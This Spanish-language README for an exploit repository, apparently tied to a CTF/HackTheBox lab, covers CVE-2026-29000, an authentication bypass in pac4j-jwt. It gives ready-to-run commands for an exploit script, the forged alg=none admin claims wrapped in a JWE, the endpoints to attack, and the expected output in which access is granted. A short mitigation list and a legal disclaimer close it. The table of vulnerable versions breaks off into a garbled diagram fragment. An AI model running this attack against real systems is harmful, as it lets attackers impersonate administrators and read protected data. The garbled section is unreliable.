Share
## https://sploitus.com/exploit?id=CFEDE88D-9F84-53D8-90AB-538EBE70BED6
# CVE-2026-29000 β€” pac4j-jwt PlainJWT-in-JWE Authentication Bypass

```
  β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ•—   β–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—      β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—  β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—  β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—
 β–ˆβ–ˆβ•”β•β•β•β•β•β–ˆβ–ˆβ•‘   β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β•β•β•β•β•     β•šβ•β•β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•”β•β–ˆβ–ˆβ–ˆβ–ˆβ•—β•šβ•β•β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•”β•β•β•β•β•
 β–ˆβ–ˆβ•‘     β–ˆβ–ˆβ•‘   β–ˆβ–ˆβ•‘β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—        β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—
 β–ˆβ–ˆβ•‘     β•šβ–ˆβ–ˆβ•— β–ˆβ–ˆβ•”β•β–ˆβ–ˆβ•”β•β•β•       β–ˆβ–ˆβ•”β•β•β•β• β–ˆβ–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β•β•β•β• β–ˆβ–ˆβ•”β•β•β•β–ˆβ–ˆβ•—
 β•šβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β•šβ–ˆβ–ˆβ–ˆβ–ˆβ•”β• β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—     β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β•šβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β•šβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•
  β•šβ•β•β•β•β•β•  β•šβ•β•β•β•  β•šβ•β•β•β•β•β•β•     β•šβ•β•β•β•β•β•β• β•šβ•β•β•β•β•β• β•šβ•β•β•β•β•β•β• β•šβ•β•β•β•β•β•
                                                    CVE-2026-29000
        pac4j-jwt PlainJWT-in-JWE Auth Bypass  |  CVSS 10.0
```

| Campo | Detalle |
|---|---|
| **CVE** | CVE-2026-29000 |
| **CVSS** | 10.0 β€” Critical |
| **LibrerΓ­a afectada** | `org.pac4j:pac4j-jwt` |
| **Versiones vulnerables** |  ─────►│
   β”‚                          descifra JWEβ”‚
   β”‚                    obtiene PlainJWT  β”‚
   β”‚                  ❌ NO verifica firma β”‚
   β”‚                    acepta claims     β”‚
   │◄─ HTTP 200 OK + datos de admin ─────│
```

---

## Reconocimiento previo (lo que revelΓ³ el target)

### Headers HTTP del servidor
```
X-Powered-By: pac4j-jwt/6.0.3     ← versiΓ³n vulnerable!
Server: Jetty
```

### JWKS expuesto en `/api/auth/jwks`
```json
{
  "keys": [{
    "kty": "RSA",
    "e": "AQAB",
    "kid": "enc-key-1",
    "n": "lTh54vtBS1NAWrxAFU1NEZdr..."
  }]
}
```

### InformaciΓ³n en `/app.js` (JavaScript del cliente)
```
Tokens: JWE con RSA-OAEP-256 + A128GCM
Inner JWT firmado con RS256
Issuer: "principal-platform"
Roles: ROLE_ADMIN, ROLE_MANAGER, ROLE_USER
Endpoints sensibles: /api/users, /api/settings
```

---

## Requisitos

```bash
pip install jwcrypto requests
```

---

## Uso del exploit

### Sintaxis
```bash
python3 cve_2026_29000_exploit.py --url http://: [opciones]
```

### Opciones

| Flag | DescripciΓ³n | Default |
|---|---|---|
| `--url` | URL base del target | *(requerido)* |
| `--sub` | Claim `sub` (usuario a impersonar) | `admin` |
| `--role` | Rol a forjar | `ROLE_ADMIN` |
| `--jwks-live` | Obtener clave RSA del servidor en vivo | *(hardcodeada)* |
| `--proxy` | Routear trΓ‘fico por Burp Suite | β€” |
| `--no-verify` | Deshabilitar verificaciΓ³n SSL | β€” |

### Ejemplos

**Exploit bΓ‘sico:**
```bash
python3 cve_2026_29000_exploit.py --url http://10.129.244.220:8080
```

**Con clave RSA obtenida en vivo del JWKS:**
```bash
python3 cve_2026_29000_exploit.py --url http://10.129.244.220:8080 --jwks-live
```

**Impersonar usuario especΓ­fico:**
```bash
python3 cve_2026_29000_exploit.py --url http://10.129.244.220:8080 --sub john --role ROLE_ADMIN
```

**Ver trΓ‘fico en Burp Suite:**
```bash
python3 cve_2026_29000_exploit.py --url http://10.129.244.220:8080 \
    --proxy http://127.0.0.1:8080 --no-verify
```

---

## QuΓ© hace el script paso a paso

### Fase 1 β€” VerificaciΓ³n de JWKS
Comprueba que el endpoint `/api/auth/jwks` es accesible y extrae la clave pΓΊblica RSA del servidor.

### Fase 2 β€” Forja del token malicioso
1. Carga la clave pΓΊblica RSA del JWKS
2. Construye un **PlainJWT** (`alg=none`) con los claims:
   ```json
   {
     "sub":  "admin",
     "role": "ROLE_ADMIN",
     "iss":  "principal-platform",
     "iat":  ,
     "exp":  
   }
   ```
3. Cifra el PlainJWT como **JWE** con `RSA-OAEP-256 + A128GCM`

### Fase 3 β€” ExplotaciΓ³n
Usa el JWE como Bearer token y ataca los endpoints:
- `GET /api/dashboard`
- `GET /api/users`
- `GET /api/settings`

El script busca automΓ‘ticamente flags con formato `HTB{...}` en las respuestas JSON.

---

## Salida esperada

```
  [+] Dashboard β†’ HTTP 200 OK β€” Β‘Acceso concedido!
  [+] Users     β†’ HTTP 200 OK β€” Β‘Acceso concedido!
  [+] Settings  β†’ HTTP 200 OK β€” Β‘Acceso concedido!

  β˜…β˜…β˜…β˜…β˜…β˜…β˜…β˜…β˜…β˜…β˜…β˜…β˜…β˜…β˜…β˜…β˜…β˜…β˜…β˜…β˜…β˜…β˜…β˜…β˜…β˜…β˜…β˜…β˜…β˜…β˜…β˜…β˜…β˜…β˜…β˜…β˜…β˜…β˜…β˜…β˜…β˜…β˜…β˜…β˜…β˜…β˜…β˜…β˜…β˜…
  β˜…  FLAG ENCONTRADA en Settings!
  β˜…  HTB{...}
  β˜…β˜…β˜…β˜…β˜…β˜…β˜…β˜…β˜…β˜…β˜…β˜…β˜…β˜…β˜…β˜…β˜…β˜…β˜…β˜…β˜…β˜…β˜…β˜…β˜…β˜…β˜…β˜…β˜…β˜…β˜…β˜…β˜…β˜…β˜…β˜…β˜…β˜…β˜…β˜…β˜…β˜…β˜…β˜…β˜…β˜…β˜…β˜…β˜…β˜…
```

---

## MitigaciΓ³n (para defenders)

- Actualizar `pac4j-jwt` a **6.3.3+** (rama 6.x), **5.7.9+** o **4.5.9+**
- Rechazar explΓ­citamente tokens con `alg=none` en el inner JWT
- No exponer el JWKS pΓΊblicamente si la clave tambiΓ©n se usa para cifrado de tokens

---

## Estructura del repositorio

```
CVE-2026-29000/
β”œβ”€β”€ README.md                  ← Este archivo
└── cve_2026_29000_exploit.py  ← Script de explotaciΓ³n
```

---

## Referencias

- [NVD β€” CVE-2026-29000](https://nvd.nist.gov/vuln/detail/CVE-2026-29000)
- [GitHub Advisory β€” pac4j](https://github.com/pac4j/pac4j/security/advisories)
- [Snyk β€” pac4j-jwt vulnerability](https://security.snyk.io)
- [RFC 7516 β€” JSON Web Encryption (JWE)](https://www.rfc-editor.org/rfc/rfc7516)
- [RFC 7519 β€” JSON Web Token (JWT) β€” PlainJWT](https://www.rfc-editor.org/rfc/rfc7519)

---

> **Aviso legal:** Este exploit fue desarrollado con fines educativos y para uso en entornos de CTF/laboratorio autorizados. No usar contra sistemas sin autorizaciΓ³n explΓ­cita.

---

**Autor:** Hurtcore - Fr4nZ!!!